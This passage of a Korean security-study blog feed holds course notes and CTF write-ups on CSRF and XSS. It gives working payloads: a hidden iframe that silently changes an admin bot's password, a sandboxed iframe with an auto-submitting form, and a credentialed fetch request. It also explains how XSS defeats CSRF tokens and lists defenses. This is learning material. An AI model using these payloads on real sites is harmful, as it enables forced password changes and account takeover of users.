&lt;p data-ke-size=&quot;size16&quot;&gt;먼저 내 계정에서 비밀번호를 변경할 때 발생하는 패킷을 분석했다. 확인 결과, &lt;code&gt;GET&lt;/code&gt; 방식으로 파라미터가 날아가는 것을 확인했다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;531&quot; data-origin-height=&quot;373&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cJhiiM/dJMcacaIscM/WTiZGcFjllcwguoJKftTwk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cJhiiM/dJMcacaIscM/WTiZGcFjllcwguoJKftTwk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cJhiiM/dJMcacaIscM/WTiZGcFjllcwguoJKftTwk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcJhiiM%2FdJMcacaIscM%2FWTiZGcFjllcwguoJKftTwk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;531&quot; height=&quot;373&quot; data-origin-width=&quot;531&quot; data-origin-height=&quot;373&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;940&quot; data-origin-height=&quot;186&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/kPiDL/dJMcadm6qc9/nfkW0ioEKHfiokaRhUbCAK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/kPiDL/dJMcadm6qc9/nfkW0ioEKHfiokaRhUbCAK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/kPiDL/dJMcadm6qc9/nfkW0ioEKHfiokaRhUbCAK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FkPiDL%2FdJMcadm6qc9%2FnfkW0ioEKHfiokaRhUbCAK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;940&quot; height=&quot;186&quot; data-origin-width=&quot;940&quot; data-origin-height=&quot;186&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;따라서 이 URL을 그대로 관리자 봇에게 던지면 관리자의 비밀번호가 바뀔 것이라 생각했다. 하지만 결과는 &lt;b&gt;&quot;들켰단다&quot;&lt;/b&gt;는 메시지와 함께 실패.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;940&quot; data-origin-height=&quot;350&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bc4b3H/dJMcac9zIzf/MNKV6DoNNHi5Xw8Ns9Ie00/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bc4b3H/dJMcac9zIzf/MNKV6DoNNHi5Xw8Ns9Ie00/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bc4b3H/dJMcac9zIzf/MNKV6DoNNHi5Xw8Ns9Ie00/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbc4b3H%2FdJMcac9zIzf%2FMNKV6DoNNHi5Xw8Ns9Ie00%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;940&quot; height=&quot;350&quot; data-origin-width=&quot;940&quot; data-origin-height=&quot;350&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;538&quot; data-origin-height=&quot;228&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bRDpt8/dJMcaiIJmcE/Vart5kpEH7pzvBeRrVqdh0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bRDpt8/dJMcaiIJmcE/Vart5kpEH7pzvBeRrVqdh0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bRDpt8/dJMcaiIJmcE/Vart5kpEH7pzvBeRrVqdh0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbRDpt8%2FdJMcaiIJmcE%2FVart5kpEH7pzvBeRrVqdh0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;538&quot; height=&quot;228&quot; data-origin-width=&quot;538&quot; data-origin-height=&quot;228&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;&lt;b&gt;❓ 왜 실패했을까? (Alert의 존재)&lt;/b&gt;&lt;br /&gt;브라우저에 해당 공격 URL을 직접 입력해 보니, 비밀번호 변경이 완료된 후 &quot;변경되었습니다&quot;라는 &lt;b&gt;Alert(알림창)&lt;/b&gt;가 뜨는 것을 확인할 수 있었다. 관리자 봇 시스템은 이런 예상치 못한 팝업이나 페이지 이동이 발생하면 공격을 감지하고 차단해버리기 때문에 실패했던 것이다.&lt;/blockquote&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;3. 해결 전략: XSS와 iframe을 이용한 스텔스 공격&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;알림창을 띄우지 않고 배경에서 조용히 공격을 수행하려면 &lt;b&gt;iframe&lt;/b&gt;이 필요하다. 그리고 이를 실행하기 위해 게시판 본문에서 XSS가 가능한 지점을 찾았다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;672&quot; data-origin-height=&quot;167&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ckI3TK/dJMcabbN3oU/V8TBT4VFE4f20UMRzmTD21/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ckI3TK/dJMcabbN3oU/V8TBT4VFE4f20UMRzmTD21/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ckI3TK/dJMcabbN3oU/V8TBT4VFE4f20UMRzmTD21/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FckI3TK%2FdJMcabbN3oU%2FV8TBT4VFE4f20UMRzmTD21%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;672&quot; height=&quot;167&quot; data-origin-width=&quot;672&quot; data-origin-height=&quot;167&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;545&quot; data-origin-height=&quot;280&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bqtfaE/dJMcai205Vy/bIf9gdK1f2X88Hp2MDsLnK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bqtfaE/dJMcai205Vy/bIf9gdK1f2X88Hp2MDsLnK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bqtfaE/dJMcai205Vy/bIf9gdK1f2X88Hp2MDsLnK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbqtfaE%2FdJMcai205Vy%2FbIf9gdK1f2X88Hp2MDsLnK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;545&quot; height=&quot;280&quot; data-origin-width=&quot;545&quot; data-origin-height=&quot;280&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;XSS가 가능함을 확인했으니, 이제 본문에 &lt;b&gt;비밀번호 변경 페이지를 iframe으로 불러오는 스크립트&lt;/b&gt;를 심는다.&lt;/p&gt;
&lt;div style=&quot;background-color: #f6f8fa; padding: 15px; border-radius: 5px; font-family: monospace;&quot;&gt;&lt;b&gt;최종 공격 페이로드:&lt;/b&gt;&lt;br /&gt;&amp;lt;iframe src=&quot;비밀번호_변경_공격_URL&quot; style=&quot;display:none;&quot;&amp;gt;&amp;lt;/iframe&amp;gt;&lt;/div&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;&lt;b&gt;  iframe이 해결책인 이유&lt;/b&gt;&lt;br /&gt;iframe을 &lt;code&gt;display:none&lt;/code&gt;이나 크기 0으로 삽입하면, 관리자가 게시글을 읽는 순간 브라우저 뒷단에서 비밀번호 변경 페이지가 로드된다. 페이지 이동 없이 배경에서 요청이 날아가므로 관리자(봇)는 공격이 일어났는지 눈치채기 어렵다. (이전에 정리했듯 &lt;code&gt;sandbox&lt;/code&gt; 속성까지 쓰면 알림창 자체를 완벽히 차단할 수도 있다!)&lt;/blockquote&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;4. 최종 공격 성공&lt;/h3&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;663&quot; data-origin-height=&quot;161&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/mMcRf/dJMcabJESL5/08fINLKbXtBMioAYe4oEMk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/mMcRf/dJMcabJESL5/08fINLKbXtBMioAYe4oEMk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/mMcRf/dJMcabJESL5/08fINLKbXtBMioAYe4oEMk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FmMcRf%2FdJMcabJESL5%2F08fINLKbXtBMioAYe4oEMk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;663&quot; height=&quot;161&quot; data-origin-width=&quot;663&quot; data-origin-height=&quot;161&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위 페이로드를 담은 게시글을 작성하고 관리자 봇에게 링크를 던졌다. 잠시 후 &lt;code&gt;fsi4_admin&lt;/code&gt; 계정으로 변경한 비밀번호를 입력해 로그인하니 플래그를 획득할 수 있었다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;372&quot; data-origin-height=&quot;378&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/eeo5T6/dJMcacBMYTi/0HG8CrbSlcvGloBQzzqQw1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/eeo5T6/dJMcacBMYTi/0HG8CrbSlcvGloBQzzqQw1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/eeo5T6/dJMcacBMYTi/0HG8CrbSlcvGloBQzzqQw1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Feeo5T6%2FdJMcacBMYTi%2F0HG8CrbSlcvGloBQzzqQw1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;372&quot; height=&quot;378&quot; data-origin-width=&quot;372&quot; data-origin-height=&quot;378&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000; font-size: 1.44em; letter-spacing: -1px;&quot;&gt;  소감&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;CSRF는 단순히 요청을 복사하는 게 전부가 아니라는 것을 깨달았다. 실제 환경에서는 알림창이나 페이지 리다이렉션 같은 '흔적'을 지우는 것이 얼마나 중요한지, 그리고 이를 위해 XSS를 연계하는 과정이 매우 인상 깊었다.  &lt;/p&gt;</description>
      <category>해킹스터디</category>
      <category>csrf</category>
      <category>Get</category>
      <category>iframe</category>
      <category>ISMS-P</category>
      <category>Normaltic</category>
      <category>post</category>
      <category>sandbox</category>
      <category>금보원</category>
      <category>노말틱</category>
      <category>크로스사이트요청위조</category>
      <author>herini0829</author>
      <guid isPermaLink="true">https://herini0829.tistory.com/32</guid>
      <comments>https://herini0829.tistory.com/32#entry32comment</comments>
      <pubDate>Mon, 5 Jan 2026 20:09:09 +0900</pubDate>
    </item>
    <item>
      <title>[Normaltic 웹해킹 입문] 12주차 CSRF-내용정리</title>
      <link>https://herini0829.tistory.com/31</link>
      <description>&lt;h2 data-ke-size=&quot;size26&quot;&gt;  CSRF(Cross-Site Request Forgery) 개념 완벽 정리&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;오늘은 노말틱 선생님이 '정확히 아는 사람이 의외로 적다'며 강조하셨던 &lt;b&gt;CSRF&lt;/b&gt;에 대해 정리해보고자 한다. XSS와 비슷해 보이지만 목적과 방식이 완전히 다른 이 공격의 정체를 파헤쳐보자.&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;1. CSRF란 무엇인가?&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;CSRF(사이트 간 요청 위조)&lt;/b&gt;는 한마디로 &lt;b&gt;&quot;피해자가 자신의 의지와 상관없이 공격자가 원하는 요청을 서버에 보내게 만드는 것&quot;&lt;/b&gt;이다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;핵심 목적:&lt;/b&gt; 피해자의 권한(세션/쿠키)을 이용해 비밀번호 변경, 게시글 작성, 송금 등의 '동작'을 수행하게 함.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;XSS와의 차이점:&lt;/b&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #f8f9fa;&quot;&gt;
&lt;th style=&quot;padding: 10px;&quot;&gt;구분&lt;/th&gt;
&lt;th style=&quot;padding: 10px;&quot;&gt;XSS (Cross-Site Scripting)&lt;/th&gt;
&lt;th style=&quot;padding: 10px;&quot;&gt;CSRF (Cross-Site Request Forgery)&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px; text-align: center;&quot;&gt;&lt;b&gt;실행 위치&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px;&quot;&gt;피해자의 브라우저 (스크립트 실행)&lt;/td&gt;
&lt;td style=&quot;padding: 10px;&quot;&gt;웹 서버 (위조된 요청 처리)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px; text-align: center;&quot;&gt;&lt;b&gt;주요 목표&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px;&quot;&gt;쿠키 탈취, 스크립트 실행&lt;/td&gt;
&lt;td style=&quot;padding: 10px;&quot;&gt;특정 동작 수행 (비번 변경 등)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;2. CSRF의 근본 원인과 공격 방식&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공격자가 요청 파라미터를 완벽하게 예측하고 위조할 수 있을 때 발생한다. 예를 들어 비밀번호 변경 시 '현재 비밀번호'를 묻지 않는다면, 공격자는 &lt;code&gt;new_pw=1234&lt;/code&gt;라는 파라미터만 담아 요청을 위조하면 끝이다.&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;  GET vs POST 방식의 위조&lt;/h4&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;GET 방식:&lt;/b&gt; &lt;code&gt;&amp;lt;a href=&quot;...&quot;&amp;gt;&lt;/code&gt; 링크나 &lt;code&gt;&amp;lt;img src=&quot;...&quot;&amp;gt;&lt;/code&gt; 태그를 이용한다. 이미지를 불러오기만 해도 요청이 전송되므로 매우 위험하다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;POST 방식:&lt;/b&gt; 폼(Form) 태그를 전송해야 하므로 &lt;b&gt;반드시 XSS 취약점이 동반되어야 한다.&lt;/b&gt; 게시글 등에 폼 태그를 심어두고 자바스크립트로 자동 제출(submit)시키는 방식을 사용한다.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;3. 심화: POST 데이터 전달과 스텔스(Stealth) 공격&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공격 시 &quot;수정이 완료되었습니다&quot; 같은 알림창이 뜨면 피해자가 눈치챌 수 있다. 이를 방지하기 위해 &lt;b&gt;iframe&lt;/b&gt;과 &lt;b&gt;sandbox&lt;/b&gt;를 활용한다.&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;✅ 정석적인 POST 위조 페이로드&lt;/h4&gt;
&lt;pre class=&quot;xml&quot; style=&quot;background-color: #f6f8fa; padding: 15px; border-radius: 5px; font-family: monospace;&quot;&gt;&lt;code&gt;&amp;lt;iframe width=&quot;0&quot; height=&quot;0&quot; border=&quot;0&quot; name=&quot;stealthFrame&quot; id=&quot;stealthFrame&quot; style=&quot;display:none;&quot; sandbox=&quot;allow-forms&quot;&amp;gt;&amp;lt;/iframe&amp;gt;

&amp;lt;form method=&quot;POST&quot; action=&quot;/update_pw&quot; id=&quot;myForm&quot; target=&quot;stealthFrame&quot;&amp;gt;
    &amp;lt;input type=&quot;hidden&quot; name=&quot;pw&quot; value=&quot;1234&quot; /&amp;gt;
&amp;lt;/form&amp;gt;

&amp;lt;script&amp;gt;
    document.getElementById('myForm').submit();
&amp;lt;/script&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;&lt;b&gt;❓ 궁금증 해결: sandbox=&quot;allow-forms&quot;를 쓰면 왜 alert이 안 뜨나요?&lt;/b&gt;&lt;br /&gt;원래 폼을 제출하면 서버의 응답 페이지로 이동하면서 &quot;성공!&quot; 알림이 뜹니다. 하지만 &lt;b&gt;sandbox&lt;/b&gt; 속성은 해당 iframe 내부에서 일어나는 동작을 매우 엄격하게 제한합니다. &lt;code&gt;allow-forms&lt;/code&gt;는 폼 제출만 허용할 뿐, &lt;b&gt;자바스크립트 실행(allow-scripts)이나 모달창 띄우기(allow-modals)를 허용하지 않으면&lt;/b&gt; 서버가 보내는 알림창 코드가 실행되지 못하고 차단됩니다. 즉, 공격은 성공하되 알림은 무시되는 스텔스 상태가 되는 것이죠!&lt;/blockquote&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;✅ Fetch API를 이용한 방식&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;최신 브라우저에서는 스크립트 하나로 더 깔끔하게 처리가 가능하다.&lt;/p&gt;
&lt;pre class=&quot;dts&quot; style=&quot;background-color: #f6f8fa; padding: 15px; border-radius: 5px; font-family: monospace;&quot;&gt;&lt;code&gt;fetch(&quot;/update_pw&quot;, {
    method: &quot;POST&quot;,
    headers: {&quot;Content-Type&quot;: &quot;application/x-www-form-urlencoded&quot;},
    body: &quot;pw=1234&quot;,
    credentials: &quot;include&quot; // 이 옵션이 있어야 피해자의 세션 쿠키가 같이 전송됨!
});
&lt;/code&gt;&lt;/pre&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;4. 방어 수단: CSRF Token의 한계&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;가장 대중적인 방어법은 &lt;b&gt;CSRF Token&lt;/b&gt;이다. 서버가 페이지를 줄 때 예측 불가능한 토큰을 숨겨두고, 요청 시 제출된 토큰이 세션에 저장된 값과 일치하는지 검증하는 방식이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;⚠️ 하지만 XSS가 뚫리면 무용지물?&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;XSS 취약점이 있다면 공격자는 스크립트를 통해 iframe으로 토큰이 있는 페이지를 로드하고, 그 안의 토큰값을 읽어와서 공격 폼에 채워 넣을 수 있다. 그래서 노말틱 선생님도 &lt;b&gt;&quot;CSRF 토큰이 만능은 아니며, XSS부터 막는 것이 우선&quot;&lt;/b&gt;이라고 강조하신 것이다.&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;  결론 및 요약&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;CSRF는 결국 &lt;b&gt;&quot;요청의 진위 여부&quot;&lt;/b&gt;를 가리는 싸움이다. 완벽한 방어를 위해서는 CSRF 토큰뿐만 아니라 중요한 동작(비밀번호 변경 등)에는 반드시 현재 비밀번호를 재입력하게 하거나, CAPTCHA를 도입하는 등의 추가 검증 절차가 필수적이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이제 개념은 확실히 잡았으니, 다음은 실전 문제를 통해 직접 요청을 위조해보자!  &lt;/p&gt;</description>
      <category>해킹스터디</category>
      <category>csrf</category>
      <category>csrf_token</category>
      <category>fetch</category>
      <category>Get</category>
      <category>iframe</category>
      <category>Normaltic</category>
      <category>post</category>
      <category>XSS</category>
      <category>금보원</category>
      <category>노말틱</category>
      <author>herini0829</author>
      <guid isPermaLink="true">https://herini0829.tistory.com/31</guid>
      <comments>https://herini0829.tistory.com/31#entry31comment</comments>
      <pubDate>Mon, 5 Jan 2026 09:42:06 +0900</pubDate>
    </item>
    <item>
      <title>[Normaltic 웹해킹 입문] 10주차 문제풀이 Steal info 2.</title>
      <link>https://herini0829.tistory.com/30</link>
      <description>&lt;h2 data-ke-size=&quot;size26&quot;&gt; ️ Steal Info 2 문제 풀이: 서로 다른 페이지의 정보 강제 탈취&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이어서 Steal info 2를 풀어보자. 12.31 수업도 결국 또 술자리 때문에 라이브로 못 들었다..(주말에 들어야 함) 이러나 저러나 드디어 진도를 거의 다 따라잡았다..! 반복해서 풀고 정리하니까 머리에 어느 정도 익숙해지고 있다!! (SQLi 다 까먹었는데 다행히 센세가 복습시켜주신다고 한다)&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;1. 문제 분석 및 통찰&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;문제 풀어보자. 형식은 Steal info 1과 동일하다. 차이는 이번에는 admin 계정의 마이페이지 정보란에 flag가 있다고 한다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;459&quot; data-origin-height=&quot;391&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bluote/dJMcabbMWE2/Yt1tDKFqDt6h1n7HMAu4NK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bluote/dJMcabbMWE2/Yt1tDKFqDt6h1n7HMAu4NK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bluote/dJMcabbMWE2/Yt1tDKFqDt6h1n7HMAu4NK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbluote%2FdJMcabbMWE2%2FYt1tDKFqDt6h1n7HMAu4NK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;459&quot; height=&quot;391&quot; data-origin-width=&quot;459&quot; data-origin-height=&quot;391&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그럼 아까 풀었던 Basic Script Prac이랑 거의 비슷한 거 아닌가? 어디가 다르지? 고민하다 보니 가장 큰 차이는 Basic Script Prac에서는 XSS가 일어나는 페이지와 내가 원하는 정보가 같은 페이지에 있었고, 이번에는 이 둘이 서로 다른 페이지인 것이다.&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;&lt;b&gt;  이번 문제의 핵심 통찰력&lt;/b&gt;&lt;br /&gt;따라서 우리는 iframe을 통해 원하는 정보가 있는 페이지를 XSS가 일어나는 페이지로 강제로 끌어올 필요가 있는 셈이다. (통찰력 지렸다&amp;hellip;.)&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;2. 공격 페이로드 구성 및 실행&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이미 Steal info 1로 단련이 되어있으니 사용자 계정 연습은 건너뛰고 바로 관리자 계정용 탈취하러 가보자.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;blob&quot; data-origin-width=&quot;663&quot; data-origin-height=&quot;284&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Yjmhh/dJMcadtRHIb/SSP0XC6xbzo8nJmJuYCHXK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Yjmhh/dJMcadtRHIb/SSP0XC6xbzo8nJmJuYCHXK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Yjmhh/dJMcadtRHIb/SSP0XC6xbzo8nJmJuYCHXK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FYjmhh%2FdJMcadtRHIb%2FSSP0XC6xbzo8nJmJuYCHXK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;663&quot; height=&quot;284&quot; data-filename=&quot;blob&quot; data-origin-width=&quot;663&quot; 